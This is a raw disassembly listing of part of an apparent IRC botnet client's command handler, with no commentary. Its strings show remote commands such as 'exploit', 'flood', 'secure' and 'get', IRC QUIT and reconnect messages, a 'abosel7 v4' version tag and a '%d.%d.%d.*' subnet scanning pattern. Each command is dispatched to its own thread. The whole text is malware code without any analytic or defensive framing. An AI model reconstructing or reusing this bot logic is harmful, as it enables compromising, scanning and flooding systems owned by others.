loc_403FB6:				; CODE XREF: sub_401ACD+18FAj
					; sub_401ACD+190Fj
		push	0Ah
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403FCC
		push	offset unk_42C304
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_401ACD+24F3j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C65
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEB
		push	offset unk_42C2DC
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FEB:				; CODE XREF: sub_401ACD+2512j
		push	offset unk_42C2BC
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FF5:				; CODE XREF: sub_401ACD+18D0j
					; sub_401ACD+18E5j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CF
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400E:				; CODE XREF: sub_401ACD+18A6j
					; sub_401ACD+18BBj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C29
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402B:				; CODE XREF: sub_401ACD+187Cj
					; sub_401ACD+1891j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26A0871h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404054
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404054:				; CODE XREF: sub_401ACD+257Cj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406D
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409855


loc_40406D:				; CODE XREF: sub_401ACD+2595j
		push	ebx
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C2A4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_4040AB:				; CODE XREF: sub_401ACD+529Dj
		add	esp, 24h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4040B3:				; CODE XREF: sub_401ACD+1852j
					; sub_401ACD+1867j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A30
		add	esp, 0Ch
		push	offset dword_42C284
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_4040D1:				; CODE XREF: sub_401ACD+1828j
					; sub_401ACD+183Dj
		push	27h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_404105
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C264
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_4040FD:				; CODE XREF: sub_401ACD+7238j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404105:				; CODE XREF: sub_401ACD+260Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404166
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404166
		mov	[ebp+var_AA8], 1


loc_404166:				; CODE XREF: sub_401ACD+267Cj
					; sub_401ACD+268Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C240
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EC
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4041D4


loc_4041BE:				; CODE XREF: sub_401ACD+2705j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409631
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_4041BE
; ---------------------------------------------------------------------------


loc_4041D4:				; CODE XREF: sub_401ACD+26EFj
		call	near ptr 26908E1h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C204
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409631
; ---------------------------------------------------------------------------


loc_4041F4:				; CODE XREF: sub_401ACD+17FEj
					; sub_401ACD+1813j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404213
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1E8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404213:				; CODE XREF: sub_401ACD+272Aj
		push	[ebp+arg_4]
		call	dword_4CB6EC
		call	dword_4CB5AC
		call	sub_41835A
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40422E:				; CODE XREF: sub_401ACD+17D4j
					; sub_401ACD+17E9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA43
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1CC
		jmp	short loc_404286
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_401ACD+17AAj
					; sub_401ACD+17BFj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1B0


loc_404286:				; CODE XREF: sub_401ACD+24E4j
					; sub_401ACD+278Aj
		call	sub_4151AD
		add	esp, 18h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_404293:				; CODE XREF: sub_401ACD+1780j
					; sub_401ACD+1795j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524D
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AC:				; CODE XREF: sub_401ACD+1756j
					; sub_401ACD+176Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EB
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EB
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EB
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EB:				; CODE XREF: sub_401ACD+27E8j
					; sub_401ACD+27F3j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C198
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset word_41528E
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40438E


loc_404378:				; CODE XREF: sub_401ACD+28BFj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_404378
; ---------------------------------------------------------------------------


loc_40438E:				; CODE XREF: sub_401ACD+28A9j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42C160
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439F:				; CODE XREF: sub_401ACD+172Cj
					; sub_401ACD+1741j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415135
		push	offset dword_42C148
		call	sub_4151AD


loc_4043BA:				; CODE XREF: sub_401ACD+2454j
		add	esp, 10h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4043C2:				; CODE XREF: sub_401ACD+1702j
					; sub_401ACD+1717j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441C
		push	offset dword_42C144
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404422
; ---------------------------------------------------------------------------


loc_40441C:				; CODE XREF: sub_401ACD+2933j
		mov	[ebp+var_B40], ebx


loc_404422:				; CODE XREF: sub_401ACD+294Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C124
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset word_40B162
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404490


loc_40447A:				; CODE XREF: sub_401ACD+29C1j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406D00
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_40447A
; ---------------------------------------------------------------------------


loc_404490:				; CODE XREF: sub_401ACD+29ABj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42C0E8
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_4044A1:				; CODE XREF: sub_401ACD+1686j
					; sub_401ACD+169Bj
		push	offset aScorservs ; "scorservs"
		push	offset dword_42C0D0


loc_4044AB:				; CODE XREF: sub_401ACD+2A1Dj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_4044D8:				; CODE XREF: sub_401ACD+165Cj
					; sub_401ACD+1671j
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	offset unk_42C0A4
		jmp	short loc_4044AB
; ---------------------------------------------------------------------------


loc_4044EC:				; CODE XREF: sub_401ACD+1632j
					; sub_401ACD+1647j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451E
		cmp	[ebp+var_C], ebx
		jz	short loc_40452D
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452D
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		jmp	short loc_40452D
; ---------------------------------------------------------------------------


loc_40451E:				; CODE XREF: sub_401ACD+2A28j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		pop	ecx


loc_40452D:				; CODE XREF: sub_401ACD+2A2Dj
					; sub_401ACD+2A3Cj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404534:				; CODE XREF: sub_401ACD+1608j
					; sub_401ACD+161Dj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C054
		call	sub_4151AD
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404556:				; CODE XREF: sub_401ACD+15DEj
					; sub_401ACD+15F3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C020
		call	sub_4151AD
		add	esp, 0Ch
		jmp	loc_4097BA
; ---------------------------------------------------------------------------


loc_404575:				; CODE XREF: sub_401ACD+15B4j
					; sub_401ACD+15C9j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DB
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_40458B:				; CODE XREF: sub_401ACD+158Aj
					; sub_401ACD+159Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B786
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1560j
					; sub_401ACD+1575j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B71A
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045B7:				; CODE XREF: sub_401ACD+1536j
					; sub_401ACD+154Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64B
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045CD:				; CODE XREF: sub_401ACD+1491j
					; sub_401ACD+14A6j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42C010
		push	offset dword_42C000
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045E5:				; CODE XREF: sub_401ACD+1467j
					; sub_401ACD+147Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BFF4
		push	offset dword_42BFE4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045FD:				; CODE XREF: sub_401ACD+1083j
					; sub_401ACD+1098j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404621
; ---------------------------------------------------------------------------


loc_40461C:				; CODE XREF: sub_401ACD+2B39j
					; sub_401ACD+2B44j
		mov	eax, dword_429074


loc_404621:				; CODE XREF: sub_401ACD+2B4Dj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404646
		push	esi


loc_404633:				; CODE XREF: sub_401ACD+2B88j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465D
; ---------------------------------------------------------------------------


loc_404646:				; CODE XREF: sub_401ACD+2B63j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404657
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404633
; ---------------------------------------------------------------------------


loc_404657:				; CODE XREF: sub_401ACD+2B7Fj
		mov	[ebp+var_5A0], bl


loc_40465D:				; CODE XREF: sub_401ACD+2B77j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BFBC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_4111CE
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40470E


loc_4046F8:				; CODE XREF: sub_401ACD+2C3Fj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_4046F8
; ---------------------------------------------------------------------------


loc_40470E:				; CODE XREF: sub_401ACD+2C29j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset dword_42BF80
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471F:				; CODE XREF: sub_401ACD+1019j
					; sub_401ACD+102Ej
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404745
; ---------------------------------------------------------------------------


loc_40473F:				; CODE XREF: sub_401ACD+2C5Bj
					; sub_401ACD+2C67j
		mov	ax, word_429084


loc_404745:				; CODE XREF: sub_401ACD+2C70j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A73
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F7
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40E504
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404814


loc_4047FE:				; CODE XREF: sub_401ACD+2D45j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_4047FE
; ---------------------------------------------------------------------------


loc_404814:				; CODE XREF: sub_401ACD+2D2Fj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42BF14
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404825:				; CODE XREF: sub_401ACD+FC5j
					; sub_401ACD+FDAj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484D
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404857


loc_40484D:				; CODE XREF: sub_401ACD+2D67j
		mov	[ebp+var_A10], 1


loc_404857:				; CODE XREF: sub_401ACD+2D7Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489E
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489E:				; CODE XREF: sub_401ACD+2DCAj
		push	eax
		push	offset dword_42BEE0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404912


loc_4048FC:				; CODE XREF: sub_401ACD+2E43j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_4048FC
; ---------------------------------------------------------------------------


loc_404912:				; CODE XREF: sub_401ACD+2E2Dj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset dword_42BEA4
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_404923:				; CODE XREF: sub_401ACD+F9Bj
					; sub_401ACD+FB0j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AF


loc_404934:				; CODE XREF: sub_401ACD+2AB9j
					; sub_401ACD+2ACFj ...
		add	esp, 0Ch
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_40493C:				; CODE XREF: sub_401ACD+F71j
					; sub_401ACD+F86j
		push	offset unk_42BDF4
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_404946:				; CODE XREF: sub_401ACD+F47j
					; sub_401ACD+F5Cj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BDE4
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_404955:				; CODE XREF: sub_401ACD+F1Dj
					; sub_401ACD+F32j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AF
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A7
		cmp	eax, 3
		jge	short loc_4049A7
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499F
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_40499F:				; CODE XREF: sub_401ACD+2EB1j
		push	eax
		push	offset unk_42BDB8
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_401ACD+2E9Cj
					; sub_401ACD+2EA1j
		push	eax
		push	offset unk_42BD8C
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049AF:				; CODE XREF: sub_401ACD+2E91j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B4:				; CODE XREF: sub_401ACD+2F03j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D7
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B4
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_4049D7:				; CODE XREF: sub_401ACD+2EF7j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42D0B8


loc_4049EC:				; CODE XREF: sub_401ACD+2153j
					; sub_401ACD+2ED8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_4049FD:				; CODE XREF: sub_401ACD+EF3j
					; sub_401ACD+F08j
		push	[ebp+var_8C]
		push	offset dword_42D02C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A6
		call	sub_40B2C0
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_404A23:				; CODE XREF: sub_401ACD+1A12j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB1
		cmp	dword_4CEE08, ebx
		jz	short loc_404A4B
		push	offset dword_4CE7E8


loc_404A41:				; CODE XREF: sub_401ACD+2FE2j
		push	offset unk_42BD50
		jmp	loc_404AE1
; ---------------------------------------------------------------------------


loc_404A4B:				; CODE XREF: sub_401ACD+2F6Dj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A41
; ---------------------------------------------------------------------------


loc_404AB1:				; CODE XREF: sub_401ACD+2F65j
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC5
		push	offset unk_42BD10
		jmp	short loc_404AE1
; ---------------------------------------------------------------------------


loc_404AC5:				; CODE XREF: sub_401ACD+2FEFj
		push	offset dword_4CE7E8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CEE08, 1
		pop	ecx
		push	esi
		push	offset unk_42BCE4


loc_404AE1:				; CODE XREF: sub_401ACD+2F79j
					; sub_401ACD+2FF6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FE
; ---------------------------------------------------------------------------


loc_404AF5:				; CODE XREF: sub_401ACD+19FAj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF8
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BCAC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset word_40B8A2
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404BE7


loc_404BD1:				; CODE XREF: sub_401ACD+3118j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_404BD1
; ---------------------------------------------------------------------------


loc_404BE7:				; CODE XREF: sub_401ACD+3102j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42BC6C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_404BF8:				; CODE XREF: sub_401ACD+3037j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
